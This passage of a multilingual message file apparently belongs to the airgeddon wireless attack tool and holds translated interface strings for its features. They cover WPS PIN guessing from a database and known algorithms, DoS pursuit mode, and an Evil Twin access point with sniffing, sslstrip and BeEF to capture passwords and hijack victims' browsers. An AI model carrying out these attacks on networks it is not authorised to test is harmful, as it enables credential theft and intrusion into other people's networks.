محدث PIN للملفات المحلية والبعيدة. ملف قاعدة بيانات Checksums تطابق" arr["CHINESE",382]="本地和远程文件的校验和匹配。您的 PIN 数据库文件是最新的" arr["ENGLISH",383]="It seems there is a more up-to-date PINs database file. It will be downloaded..." arr["SPANISH",383]="Parece que hay un fichero de base de datos de PINs más actualizado. Será descargado..." arr["FRENCH",383]="Une base de données PIN plus actuelle a été détectée et va être installée. Lancement du téléchargement..." arr["CATALAN",383]="Sembla que hi ha un fitxer de base de dades de PINs més actualitzat. Serà descarregat..." arr["PORTUGUESE",383]="Parece que há um banco de dados de PINs mais recente. Ele será baixado..." arr["RUSSIAN",383]="Есть более новый файл базы данных PIN. Он будет загружен..." arr["GREEK",383]="Φαίνεται πως υπάρχει ένα νεότερο αρχείο με την βάση δεδομένων PIN. Θα κατέβει..." arr["ITALIAN",383]="Sembra che ci sia un file di base dati dei PINs piú aggiornato. Sarà scaricato..." arr["POLISH",383]="Wygląda na to, że istnieje bardziej aktualny plik bazy danych PIN. Zostanie pobrany..." arr["GERMAN",383]="Es scheint, dass es eine aktualisierte Datenbank von PINs gibt. Sie wird heruntergeladen..." arr["TURKISH",383]="Daha güncel bir PIN veritabanı dosyası var gibi görünüyor. İndirilecek..." arr["ARABIC",383]="...أكثر حداثة. سيتم تنزيله PINs يبدو أن هناك ملف قاعدة بيانات" arr["CHINESE",383]="似乎有更新的 PIN 数据库文件。它将被下载..." arr["ENGLISH",384]="Searching in PINs database. Please be patient..." arr["SPANISH",384]="Buscando en la base de datos de PINs. Por favor ten paciencia..." arr["FRENCH",384]="Recherche dans la base de données PIN. Ayez un peu de patience s'il vous plaît..." arr["CATALAN",384]="Buscant a la base de dades de PINs. Si us plau tingues paciència..." arr["PORTUGUESE",384]="Pesquisando os PINs no banco de dados. Por favor, seja paciente..." arr["RUSSIAN",384]="Поиск в базе данных PIN. Подождите немного..." arr["GREEK",384]="Γίνεται αναζήτηση στην βάση δεδομένων PIN. Παρακαλώ έχετε λίγη υπομονή..." arr["ITALIAN",384]="Cercando nella base dati dei PINs. Si prega di essere pazienti..." arr["POLISH",384]="Wyszukiwanie bazy danych kodu PIN. Cierpliwości..." arr["GERMAN",384]="PINs Datenbank wird durchgesucht. Bitte haben Sie etwas Geduld..." arr["TURKISH",384]="PIN veritabanında arama. Lütfen sabırlı olun..." arr["ARABIC",384]="...يرجى التحلي بالصبر .PIN البحث في قاعدة بيانات" arr["CHINESE",384]="正在 PIN 数据库中搜索。请耐心等待..." arr["ENGLISH",385]="Only one match found in the PINs database" arr["SPANISH",385]="Se ha encontrado sólo una coincidencia en la base de datos de PINs" arr["FRENCH",385]="Un PIN a été trouvé avec la base de données" arr["CATALAN",385]="S'ha trobat només una coincidència a la base de dades de PINs" arr["PORTUGUESE",385]="Somente um PIN correspondente no banco de dados" arr["RUSSIAN",385]="В базе данных PIN найдено только одно совпадение" arr["GREEK",385]="Μόνο ένα αντίστοιχο PIN βρέθηκε στην βάση δεδομένων" arr["ITALIAN",385]="Solo una corrispondenza trovata nella base dati dei PINs" arr["POLISH",385]="Znaleziono tylko jeden pasujący kod PIN w bazie danych" arr["GERMAN",385]="In der PIN-Datenbank wurde nur eine Übereinstimmung gefunden" arr["TURKISH",385]="PIN veritabanında sadece bir eşleşme bulundu" arr["ARABIC",385]="PIN تم العثور على تطابق واحد فقط في قاعدة بيانات" arr["CHINESE",385]="在 PIN 数据库中只找到一个匹配项" arr["ENGLISH",386]="\${counter_pins_found} matching PINs have been found in the PINs database" arr["SPANISH",386]="Se han encontrado \${counter_pins_found} PINs coincidentes en la base de datos de PINs" arr["FRENCH",386]="\${counter_pins_found} PIN possibles selon la base de données" arr["CATALAN",386]="S'han trobat \${counter_pins_found} PINs coincidents a la base de dades de PINs" arr["PORTUGUESE",386]="Encontrados \${counter_pins_found} PINs correspondentes no banco de dados" arr["RUSSIAN",386]="\${counter_pins_found} соответствующих PIN-кода были найдены в базе данных WPS PIN кодов" arr["GREEK",386]="\${counter_pins_found} αντίστοιχα PINs βρέθηκαν στην βάση δεδομένων" arr["ITALIAN",386]="Trovati \${counter_pins_found} PINs coincidenti nella base dati dei PINs" arr["POLISH",386]="Znaleziono \${counter_pins_found} pasujących kodów PIN w bazie danych" arr["GERMAN",386]="\${counter_pins_found} übereinstimmende PINs wurden in der PIN-Datenbank" arr["TURKISH",386]="\${counter_pins_found} PIN'lerde eşleşen PIN'ler bulundu" arr["ARABIC",386]="PIN مطابقة في قاعدة بيانات PINs تم العثور على أرقام \${counter_pins_found}" arr["CHINESE",386]="\${counter_pins_found} 已在 PIN 数据库中找到匹配的 PIN" arr["ENGLISH",387]="No matches found in the PINs database" arr["SPANISH",387]="No se ha encontrado ninguna coincidencia en la base de datos de PINs" arr["FRENCH",387]="Aucun PIN n'a été trouvé dans la base données" arr["CATALAN",387]="No s'ha trobat cap coincidència a la base de dades de PINs" arr["PORTUGUESE",387]="Nenhuma correspondência encontrada no banco de dados" arr["RUSSIAN",387]="В базе данных PIN не найдено совпадений" arr["GREEK",387]="Δε βρέθηκε αντίστοιχο PIN στην βάση δεδομένων" arr["ITALIAN",387]="Nessuna corrispondenza trovata nella base dati dei PINs" arr["POLISH",387]="Brak dopasowania w bazie danych kodów PIN" arr["GERMAN",387]="Keine Übereinstimmungen in der PIN-Datenbank gefunden" arr["TURKISH",387]="PINs veritabanında eşleşme bulunamadı" arr["ARABIC",387]="PIN لم يتم العثور على مطابقات في قاعدة بيانات" arr["CHINESE",387]="在 PIN 数据库中找不到匹配项" arr["ENGLISH",388]="Calculating and adding possible PINs using common known algorithms (ComputePIN, EasyBox, etc.) ..." arr["SPANISH",388]="Calculando y añadiendo posibles PINs usando algoritmos conocidos comunes (ComputePIN, EasyBox, etc.) ..." arr["FRENCH",388]="Générations des PIN en appliquant les algorithmes les plus communs (ComputePIN, EasyBox, etc.) ..." arr["CATALAN",388]="Calculant i afegint possibles PINs usant algoritmes coneguts comuns (ComputePIN, EasyBox, etc.) ..." arr["PORTUGUESE",388]="Calculando e adicionando possíveis PINs usando algoritmos comuns conhecidos (ComputePIN, EasyBox, etc.) ..." arr["RUSSIAN",388]="Вычисление и добавление возможных PIN с использованием общеизвестных алгоритмов (ComputePIN, EasyBox, etc.) ..." arr["GREEK",388]="Γίνεται υπολογισμός πιθανών PINs και πρόσθεση αυτών κάνοντας χρήση κοινών γνωστών αλγορίθμων (ComputePIN, EasyBox, etc.) ..." arr["ITALIAN",388]="Calcolando e aggiungendo possibili PINs utilizzando noti algoritmi conosciuti (ComputePIN, EasyBox, etc.) ..." arr["POLISH",388]="Obliczanie i dodawanie możliwych kodów PIN przy użyciu powszechnie znanych algorytmów (ComputePIN, EasyBox, itd.) ..." arr["GERMAN",388]="Berechnung und Hinzufügen von möglichen PINs mit bekannten Algorithmen (ComputePIN, EasyBox, etc.) ..." arr["TURKISH",388]="Bilinen bilinen algoritmaları (ComputePIN, EasyBox, vb.) Kullanarak olası PIN'leri hesaplamak ve eklemek ..." arr["ARABIC",388]="...(وما إلى ذلك EasyBoxو ComputePIN) المحتملة باستخدام الخوارزميات المعروفة الشائعة PIN حساب وإضافة أرقام" arr["CHINESE",388]="正在使用常见的已知算法 (ComputePIN、EasyBox 等) 计算和添加可能的 PIN ..." arr["ENGLISH",389]="PINs calculated by algorithms have been added. The attack will be launched with a total of \${counter_pins_found} PINs" arr["SPANISH",389]="Se han añadido PINs calculados por los algoritmos. El ataque se lanzará con un total de \${counter_pins_found} PINs" arr["FRENCH",389]="Ajout des PIN calculées au moyen des algorithmes. L'attaque se fera avec \${counter_pins_found} PIN" arr["CATALAN",389]="S'han afegit PINs calculats pels algoritmes. L'atac es llançarà amb un total de \${counter_pins_found} PINs" arr["PORTUGUESE",389]="Os PINs calculados com algoritmos foram adicionados. O ataque será iniciado com um total de \${counter_pins_found} PINs" arr["RUSSIAN",389]="Добавлены PIN, рассчитанные с помощью алгоритмов. Атака будет произведена в общей сложности по \${counter_pins_found} PIN" arr["GREEK",389]="Προστέθηκαν τα PINs που υπολογίστηκαν από τους αλγορίθμους. Η επίθεση θα ξεκινήσει με \${counter_pins_found} PINs συνολικά" arr["ITALIAN",389]="Sono stati aggiunti PINs calcolati dagli algoritmi. L'attacco sará lanciato con un totale di \${counter_pins_found} PINs" arr["POLISH",389]="Kody PIN obliczone pzez algorytmy zostały dodane. Atak zostanie uruchomiony w sumie dla \${counter_pins_found} kodów PIN" arr["GERMAN",389]="Die von den Algorithmen berechneten PINs wurden hinzugefügt. Der Angriff wird mit insgesamt \${counter_pins_found} PINs gestartet" arr["TURKISH",389]="Algoritmalar tarafından hesaplanan PIN'ler eklendi. Saldırı toplam \${counter_pins_found} PIN ile başlatılacak" arr["ARABIC",389]="PINs \${counter_pins_found} تم إضافة أرقام التعريف الشخصية المحسوبة بواسطة الخوارزميات. سيتم إطلاق الهجوم بإجمالي" arr["CHINESE",389]="添加了通过算法计算的 PIN。攻击将以总共 \${counter_pins_found} 个 PIN 发起" arr["ENGLISH",390]="Some access points have only PBC (Push Button Connect) enabled and you can't connect via WPS if you don't press the physical button on the device" arr["SPANISH",390]="Algunos puntos de acceso tienen activado solamente PBC (Push Button Connect) y no podrás conectar por WPS si no se pulsa el boton físico del mismo" arr["FRENCH",390]="Certains points d'accès n'ont que le WPS PBC (Push Button Connect) activé et vous ne pourrez pas vous connecter par WPS sans presser le bouton du routeur" arr["CATALAN",390]="Alguns punts d'accés tenen activat només PBC (Push Button Connect) i no podràs connectar per WPS si no es prem el botó físic d'aquest" arr["PORTUGUESE",390]="Alguns pontos de acesso têm ativo somente o PBC (Push Button Connect) em que você não pode se conectar via WPS se o botão físico não for pressionado" arr["RUSSIAN",390]="На некоторых точках доступа включено только PBC (Push Button Connect), т.е. подключение по нажатой кнопке, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку устройства" arr["GREEK",390]="Μερικά σημεία πρόσβασης έχουν PBC (Push Button Connect) και δεν μπορείτε να συνδεθείτε μέσω WPS αν δεν πατήσετε το κουμπί αυτό στη συσκευή" arr["ITALIAN",390]="Alcuni punti di accesso hanno solo PBC (Push Button Connect) attivato e non è possibile connettersi tramite WPS se non viene premuto il pulsante fisico" arr["POLISH",390]="Niektóre punkty dostępu mają włączoną funkcję PBC (Push Button Connect) i nie można połączyć się za pośrednictwem WPS, jeśli nie naciśniesz fizycznego przycisku" arr["GERMAN",390]="Bei einigen Access Points ist nur PBC (Push Button Connect) aktiviert, und Sie können keine Verbindung über WPS herstellen, wenn Sie nicht die physische Taste drücken" arr["TURKISH",390]="Bazı erişim noktalarının yalnızca PBC (Push Button Connect) özelliği vardır ve cihazdaki fiziksel tuşa basmazsanız WPS ile bağlanamazsınız" arr["ARABIC",390]="إذا لم تضغط على الزر الفعلي بالجهاز WPSممكّنة ولا يمكنك الاتصال عبر PBC (Push Button Connect) بعض نقاط الوصول لديها فقط" arr["CHINESE",390]="某些 AP 仅启用了 PBC (按钮连接),如果不按下设备上的物理按钮,则无法通过 WPS 进行连接" arr["ENGLISH",391]="Timeout set to \${normal_color}\${timeout}\${blue_color} seconds" arr["SPANISH",391]="Timeout elegido \${normal_color}\${timeout}\${blue_color} segundos" arr["FRENCH",391]="Paramétrage du timeout \${normal_color}\${timeout}\${blue_color} secondes" arr["CATALAN",391]="Temps d'espera triat \${normal_color}\${timeout}\${blue_color} segons" arr["PORTUGUESE",391]="Timeout definido para \${normal_color}\${timeout}\${blue_color} segundos" arr["RUSSIAN",391]="Тайм-аут установлен на \${normal_color}\${timeout}\${blue_color} секунд" arr["GREEK",391]="Το timeout τέθηκε στα \${normal_color}\${timeout}\${blue_color} δευτερόλεπτα" arr["ITALIAN",391]="Timeout scelto \${normal_color}\${timeout}\${blue_color} secondi" arr["POLISH",391]="Wybrany limit czasu \${normal_color}\${timeout}\${blue_color} sekund" arr["GERMAN",391]="Ausgewähltes Timeout \${normal_color}\${timeout}\${blue_color} Sekunden" arr["TURKISH",391]="Zaman aşımı \${normal_color}\${timeout}\${blue_color} saniye olarak ayarlandı" arr["ARABIC",391]="ثانية \${normal_color}\${timeout}\${blue_color} تم ضبط المهلة على" arr["CHINESE",391]="设置超时为 \${normal_color}\${timeout}\${blue_color} 秒" arr["ENGLISH",392]="airgeddon detected you already have set up the country code for 5Ghz band \"\${normal_color}\${country_code}\${blue_color}\". Anyway, the 5Ghz band has several channels that may not be available for operation due to country restrictions (DFS channels). If the target network uses one of these channels, the attack may not be successful" arr["SPANISH",392]="airgeddon detectó que ya tienes configurado el código de país para la banda de los 5Ghz \"\${normal_color}\${country_code}\${blue_color}\". De todos modos, la banda de los 5Ghz tiene varios canales no disponibles para operar debido a las restricciones del país (canales DFS). Si la red de destino utiliza uno de estos canales, es posible que el ataque no tenga éxito" arr["FRENCH",392]="airgeddon a détecté que vous avez déjà configuré le code du pays pour la bande 5Ghz \"\${normal_color}\${country_code}\${blue_color}\". De toutes façons, la bande 5Ghz a plusieurs canaux qui peuvent ne pas être disponibles pour le fonctionnement en raison des restrictions nationales (canaux DFS). Si le réseau utilise l'un de ces canaux, l'attaque peut échouer" arr["CATALAN",392]="airgeddon ha detectat que ja heu configurat el codi de país per a la banda de 5Ghz \"\${normal_color}\${country_code}\${blue_color}\". De totes maneres, la banda de 5Ghz té diversos canals que poden no estar disponibles per funcionar a causa de les restriccions del país (canals DFS). Si la xarxa objectiu utilitza un d'aquests canals, és possible que l'atac no tingui èxit" arr["PORTUGUESE",392]="airgeddon detectou que você já configurou o código do país para a banda de 5Ghz \"\${normal_color}\${country_code}\${blue_color}\". Ainda sim, a banda 5Ghz possui vários canais que podem não estar disponíveis para operação devido a restrições do país (canais DFS). Se a rede de destino usar um desses canais, o ataque pode não ser bem-sucedido" arr["RUSSIAN",392]="airgeddon обнаружил, что для диапазона 5Ghz уже установлен код страны \"\${normal_color}\${country_code}\${blue_color}\". Также атака может быть неудачной из-за того, что в диапазоне 5Ghz есть несколько каналов, которые могут быть недоступны для работы из-за региональных ограничений (DFS каналы)" arr["GREEK",392]="Το airgeddon εντόπισε ότι έχετε ήδη ρυθμίσει τον κωδικό χώρας για τη ζώνη 5Ghz \"\${normal_color}\${country_code}\${blue_color}\". Τέλος πάντων, η ζώνη των 5Ghz έχει αρκετά κανάλια που ενδέχεται να μην είναι διαθέσιμα για λειτουργία λόγω περιορισμών χώρας (κανάλια DFS). Εάν το δίκτυο-στόχος χρησιμοποιεί ένα από αυτά τα κανάλια, η επίθεση ενδέχεται να μην είναι επιτυχής" arr["ITALIAN",392]="airgeddon ha rilevato che hai già impostato il codice del paese per la banda 5Ghz \"\${normal_color}\${country_code}\${blue_color}\". Ad ogni modo, la banda 5 Ghz ha diversi canali che potrebbero non essere disponibili per operare a causa di restrizioni nazionali (canali DFS). Se la rete obiettivo utilizza uno di questi canali, l'attacco potrebbe non avere successo" arr["POLISH",392]="airgeddon wykrył, że masz już ustawiony kod kraju dla pasma 5Ghz \"\${normal_color}\${country_code}\${blue_color}\". W każdym razie pasmo 5Ghz ma kilka kanałów, które mogą nie być dostępne do pracy ze względu na ograniczenia krajowe (kanały DFS). Jeśli sieć docelowa korzysta z jednego z tych kanałów, atak może się nie powieść" arr["GERMAN",392]="airgeddon hat festgestellt, dass Sie bereits den Ländercode für das 5Ghz-Band \"\${normal_color}\${country_code}\${blue_color}\" eingerichtet haben. Wie auch immer, das 5Ghz-Band hat mehrere Kanäle, die aufgrund von Länderbeschränkungen möglicherweise nicht für den Betrieb verfügbar sind (DFS-Kanäle). Wenn das Zielnetzwerk einen dieser Kanäle verwendet, ist der Angriff möglicherweise nicht erfolgreich" arr["TURKISH",392]="airgeddon, 5Ghz bandı \"\${normal_color}\${country_code}\${blue_color}\" için ülke kodunu zaten ayarlamış olduğunuzu algıladı. Yine de, 5Ghz bandında, ülke kısıtlamaları nedeniyle (DFS kanalları) işletilemeyen birkaç kanal vardır. Eğer hedef ağ bu kanallardan birini kullanıyorsa, saldırı başarılı olamayabilir" arr["ARABIC",392]="إذا كانت الشبكة المستهدفة تستخدم إحدى هذه القنوات ، فقد لا تستطيع الهجوم عليه .(DFs) علي اي حال, يحتوي النطاق على العديد من القنوات التي قد لا تكون متاحة للتشغيل بسبب قيود البلد .\"\${normal_color}\${country_code}\${blue_color}\" 5Ghz انك قد اعددت كود البلد لنطاق ال airgeddon لقد اكتشف" arr["CHINESE",392]="airgeddon 检测到您已经为 5Ghz 频段设置了国家代码\"\${normal_color}\${country_code}\${blue_color}\"。无论如何,5Ghz 频段有几个频道可能由于国家限制 DFS 频道 (雷达保留频道) 而无法使用。如果目标网络使用这些渠道之一,则攻击可能不会成功" arr["ENGLISH",393]="Type value in seconds (\${min_max_timeout}) for timeout or press [Enter] to accept the proposal [\${normal_color}\${timeout_shown}\${green_color}]:" arr["SPANISH",393]="Escribe un valor en segundos (\${min_max_timeout}) para el timeout o pulsa [Enter] para aceptar el valor propuesto [\${normal_color}\${timeout_shown}\${green_color}]:" arr["FRENCH",393]="Entrez un intervalle de temps en secondes (\${min_max_timeout}) pour le timeout ou appuyez sur [Enter] pour valider la valeur proposée [\${normal_color}\${timeout_shown}\${green_color}]:" arr["CATALAN",393]="Escriu un valor en segons (\${min_max_timeout}) per al temps d'espera o prem [Enter] per acceptar el valor proposat [\${normal_color}\${timeout_shown}\${green_color}]:" arr["PORTUGUESE",393]="Insira um valor em segundos (\${min_max_timeout}) para o timeout ou pressione [Enter] para aceitar o valor padrão [\${normal_color}\${timeout_shown}\${green_color}]:" arr["RUSSIAN",393]="Введите значение в секундах (\${min_max_timeout}) для тайм-аута или нажмите [Enter], чтобы оставить по умолчанию [\${normal_color}\${timeout_shown}\${green_color}]:" arr["GREEK",393]="Εισάγετε μια τιμή σε δευτερόλεπτα (\${min_max_timeout}) για το timeout ή πατήστε [Enter] για να τεθεί η προεπιλεγμένη τιμή [\${normal_color}\${timeout_shown}\${green_color}]:" arr["ITALIAN",393]="Scrivi un valore in secondi (\${min_max_timeout}) per il timeout o premi [Enter] per accettare il valore proposto [\${normal_color}\${timeout_shown}\${green_color}]:" arr["POLISH",393]="Wprowadź wartość w sekundach (\${min_max_timeout}) dla limitu czasu lub naciśnij klawisz [Enter], aby zaakceptować proponowaną wartość [\${normal_color}\${timeout_shown}\${green_color}]:" arr["GERMAN",393]="Geben Sie einen Wert in Sekunden (\${min_max_timeout}) für die Zeitüberschreitung ein oder drücken Sie [Enter], um den vorgeschlagenen Wert zu übernehmen [\${normal_color}\${timeout_shown}\${green_color}]:" arr["TURKISH",393]="Zaman aşımı için saniye cinsinden değeri (\${min_max_timeout}) yazın veya teklifi kabul etmek için [Enter] tuşuna basın [\${normal_color}\${timeout_shown}\${green_color}]:" arr["ARABIC",393]="[\${normal_color}\${timeout_shown}\${green_color}] :لقبول الاقتراح [Enter] للمهلة أو اضغط على (\${min_max_timeout}) اكتب القيمة بالثواني" arr["CHINESE",393]="输入以秒为单位的超时值 (\${min_max_timeout}) 或按 [Enter] 接受建议 [\${normal_color}\${timeout_shown}\${green_color}]:" arr["ENGLISH",394]="You have selected a 5Ghz target network and the \"DoS pursuit mode\", but the second interface needed to perform the attack doesn't support the 5Ghz band or it is disabled, so the attack can't be performed" arr["SPANISH",394]="Has seleccionado una red objetivo de 5Ghz y el \"modo persecución DoS\", pero el segundo interfaz necesario para llevar a cabo el ataque no soporta la banda de los 5Ghz o está desactivado, por lo que este no se puede realizar" arr["FRENCH",394]="Vous avez sélectionné un réseau de 5Ghz et le \"mode de poursuite DoS\", mais la deuxième interface nécessaire pour effectuer l'attaque ne supporte pas la bande 5Ghz ou est désactivée, donc elle ne peut pas être effectuée" arr["CATALAN",394]="Has seleccionat una xarxa objectiu de 5Ghz i el \"mode persecució DoS\", però el segon interfície necessari per dur a terme l'atac no suporta la banda dels 5Ghz o està desactivat, pel que aquest no es pot realitzar" arr["PORTUGUESE",394]="Você selecionou uma rede de 5Ghz e DoS com o \"modo de perseguição\", mas a segunda interface necessária para realizar o ataque não suporta a banda de 5Ghz ou foi desativada. O ataque não pode ser realizado" arr["RUSSIAN",394]="Вы выбрали целевую сеть на 5Ghz и \"режим преследования DoS\", но второй интерфейс, необходимый для выполнения атаки, не поддерживает частоты 5Ghz, или она отключена, поэтому атака не может быть выполнена" arr["GREEK",394]="Έχετε επιλέξει ένα 5Ghz δίκτυο-στόχος και το \"DoS pursuit mode\", αλλά η δεύτερη διεπαφή που απαιτείται για να εκτελέσετε την επίθεση δεν υποστηρίζει την 5Ghz ζώνη ή είναι απενεργοποιημένη, ως αποτέλεσμα η επίθεση να μην μπορεί να εκτελεστεί" arr["ITALIAN",394]="Hai selezionato come obbiettivo una rete di 5Ghz e il \"DoS pursuit mode\", ma la seconda interfaccia necessaria per eseguire l'attacco non supporta la banda 5Ghz o è disattivata, quindi l'attacco non puó essere eseguito" arr["POLISH",394]="Wybrałeś docelową sieć 5Ghz i \"tryb DoS pursuit\", ale drugi interfejs potrzebny do przeprowadzenia ataku nie obsługuje pasma 5Ghz lub jest ono wyłączone, więc nie można go wykonać" arr["GERMAN",394]="Sie haben ein Zielnetzwerk mit 5Ghz und den \"DoS pursuit mode\" gewählt, aber die zweite Interface, die zur Ausführung des Angriffs benötigt wird, unterstützt das 5Ghz-Band nicht oder sie ist deaktiviert, so dass es nicht ausgeführt werden kann" arr["TURKISH",394]="5Ghz hedef ve \"DoS pursuit mode\" seçtiniz, ancak saldırıyı gerçekleştirmek için gereken ikinci arayüz, 5Ghz'yi bandını desteklemiyor veya devre dışı bırakılmış, bu yüzden saldırı gerçekleştirilemiyor" arr["ARABIC",394]="لكن الواجهة الثانية المطلوبة لتنفيذ الهجوم لا تدعم النطاق 5 جيجاهرتز أو تم تعطيلها ، لذلك لا يمكن تنفيذ الهجوم ،\"DoS pursuit mode\"لقد حددت شبكة هدف 5 جيجاهرتز و" arr["CHINESE",394]="您选择了5Ghz目标网络和“DoS追踪模式”,但进行攻击所需的第二个接口不支持5Ghz频段或已禁用,因此无法进行攻击" arr["ENGLISH",395]="Skipping intro, more window size needed" arr["SPANISH",395]="Saltando presentación, se necesita más tamaño de ventana" arr["FRENCH",395]="Pas de présentation pour manque d'espace en fenêtre" arr["CATALAN",395]="Saltant presentació, es necessita més grandària de finestra" arr["PORTUGUESE",395]="Saltando intro, uma janela maior é necessária" arr["RUSSIAN",395]="Пропуск заставки, требуется окно большего размера" arr["GREEK",395]="Το intro παρακάμπτεται, χρειάζεται μεγαλύτερο μέγεθος παραθύρου" arr["ITALIAN",395]="Saltando la presentazione, è necessaria una finestra piú grande" arr["POLISH",395]="Pomijanie prezentacji, potrzebujesz większego rozmiaru okna" arr["GERMAN",395]="Intro wird übersprungen, mehr Fenstergröße ist erforderlich" arr["TURKISH",395]="Giriş atlanıyor, daha fazla pencere boyutu gerekiyor" arr["ARABIC",395]="تخطي المقدمة لعدم وجود مساحة للنافذة" arr["CHINESE",395]="当前窗口过小,已跳过脚本介绍" arr["ENGLISH",396]="8. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",396]="8. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" arr["FRENCH",396]="8. Attaque Evil Twin avec capture des données et bettercap-sslstrip2/BeEF" arr["CATALAN",396]="8. Atac Evil Twin AP amb sniffing i bettercap-sslstrip2/BeEF" arr["PORTUGUESE",396]="8. Ataque Evil Twin AP com sniffing e bettercap-sslstrip2/BeEF" arr["RUSSIAN",396]="8. Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" arr["GREEK",396]="8. Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" arr["ITALIAN",396]="8. Attacco Evil Twin AP con sniffing e bettercap-sslstrip2/BeEF" arr["POLISH",396]="8. Atak Evil Twin AP ze sniffingiem i bettercap-sslstrip2/BeEF" arr["GERMAN",396]="8. Evil Twin AP Angriff mit Sniffing und bettercap-sslstrip2/BeEF" arr["TURKISH",396]="8. Sniffing ve bettercap-sslstrip2/BeEF ile Kötü İkiz AP saldırısı" arr["ARABIC",396]="8. bettercap-sslstrip2/BeEF مع الشم و Evil Twin AP هجوم" arr["CHINESE",396]="8. 带有嗅探和 bettercap-sslstrip2/BeEF 的邪恶双胞胎双胞胎AP 攻击" arr["ENGLISH",397]="Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",397]="Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" arr["FRENCH",397]="Attaque Evil Twin avec capture de données et bettercap-sslstrip2/BeEF" arr["CATALAN",397]="Atac Evil Twin AP amb sniffing i bettercap-sslstrip2/BeEF" arr["PORTUGUESE",397]="Ataque Evil Twin AP com sniffing e bettercap-sslstrip2/BeEF" arr["RUSSIAN",397]="Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" arr["GREEK",397]="Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" arr["ITALIAN",397]="Attacco Evil Twin AP con sniffing e bettercap-sslstrip2/BeEF" arr["POLISH",397]="Atak Evil Twin AP ze sniffingiem i bettercap-sslstrip2/BeEF" arr["GERMAN",397]="Evil Twin AP Angriff mit Sniffing und bettercap-sslstrip2/BeEF" arr["TURKISH",397]="Şeytani İkiz AP saldırısı (sniffing ile) bettercap-sslstrip2/BeEF" arr["ARABIC",397]="bettercap-sslstrip2/BeEF مع الشم و Evil Twin AP هجوم" arr["CHINESE",397]="带有嗅探和 bettercap-sslstrip2/BeEF 的邪恶双胞胎AP 攻击" arr["ENGLISH",398]="Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${default_bettercap_logpath}]" arr["SPANISH",398]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${default_bettercap_logpath}]" arr["FRENCH",398]="Entrez le chemin du fichier ou bien appuyez sur [Enter] pour utiliser le chemin proposé \${normal_color}[\${default_bettercap_logpath}]" arr["CATALAN",398]="Escriu la ruta on desarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${default_bettercap_logpath}]" arr["PORTUGUESE",398]="Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão \${normal_color}[\${default_bettercap_logpath}]" arr["RUSSIAN",398]="Напечатайте путь до файла для сохранения или нажмите [Enter] для принятия предложения по умолчанию \${normal_color}[\${default_bettercap_logpath}]" arr["GREEK",398]="Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${default_bettercap_logpath}]" arr["ITALIAN",398]="Digitare il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default \${normal_color}[\${default_bettercap_logpath}]" arr["POLISH",398]="Wpisz ścieżkę, w której będzie zapisany plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${default_bettercap_logpath}]" arr["GERMAN",398]="Geben Sie den Pfad ein, unter dem die Datei gespeichert werden soll, oder drücken Sie die Enter-Taste, um den Standardvorschlag zu akzeptieren \${normal_color}[\${default_bettercap_logpath}]" arr["TURKISH",398]="Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${default_bettercap_logpath}]" arr["ARABIC",398]="\${normal_color}[\${default_bettercap_logpath}]\${green_color} لقبول الاقتراح [Enter] اكتب المسار لتخزين الملف أو اضغط على" arr["CHINESE",398]="请输入文件的存储路径或按 [Enter] 接受默认建议 \${normal_color}[\${default_bettercap_logpath}]" arr["ENGLISH",399]="Passwords captured by sniffer. File saved at \${normal_color}[\${bettercap_logpath}]" arr["SPANISH",399]="El sniffer ha capturado contraseñas. Fichero salvado en \${normal_color}[\${bettercap_logpath}]" arr["FRENCH",399]="Des mots de passe ont été capturé et ont été enregistré dans \${normal_color}[\${bettercap_logpath}]" arr["CATALAN",399]="El sniffer ha capturat contrasenyes. Fitxer desat a \${normal_color}[\${bettercap_logpath}]" arr["PORTUGUESE",399]="O sniffer capturou senhas. O arquivo foi salvo em \${normal_color}[\${bettercap_logpath}]" arr["RUSSIAN",399]="Сниффер захватил пароли. Файл сохранён в \${normal_color}[\${bettercap_logpath}]" arr["GREEK",399]="Καταγράφηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο \${normal_color}[\${bettercap_logpath}]" arr["ITALIAN",399]="Lo sniffer ha catturato passwords. File salvato in \${normal_color}[\${bettercap_logpath}]" arr["POLISH",399]="Sniffer przechwycił hasła. Plik zapisany w \${normal_color}[\${bettercap_logpath}]" arr["GERMAN",399]="Der Sniffer hat Passwörter erfasst. Datei in \${normal_color}[\${bettercap_logpath}] gespeichert" arr["TURKISH",399]="Parolalar sniffer tarafından yakalandı. Şuraya kaydedildi: \${normal_color}[\${bettercap_logpath}]" arr["ARABIC",399]="\${normal_color}[\${bettercap_logpath}]\${blue_color} تم التقاط كلمات المرور بواسطة المتشمم. تم حفظ الملف في" arr["CHINESE",399]="嗅探器已经捕获密码。文件保存在 \${normal_color}[\${bettercap_logpath}]" arr["ENGLISH",400]="On Evil Twin attack with BeEF integrated, in addition to obtaining keys using sniffing techniques, you can try to control the client's browser launching numerous attack vectors. The success of these will depend on many factors such as the kind of client's browser and its version" arr["SPANISH",400]="En el ataque Evil Twin con BeEF integrado, además de obtener claves con sniffing, podrás intentar controlar el navegador de los clientes lanzando numerosos vectores de ataque. El éxito de estos dependerá de muchos factores como el tipo de navegador y la versión que utilice el cliente" arr["FRENCH",400]="Avec l'attaque Evil Twin plus BeEF il est possible obtenir les clés en sniffant, mais pas seulement. Vous pouvez essayer de prendre le contrôle du navigateur web de la vicitme. Le succès des attaques proposées dépendra, entre autre, de la version du navigateur 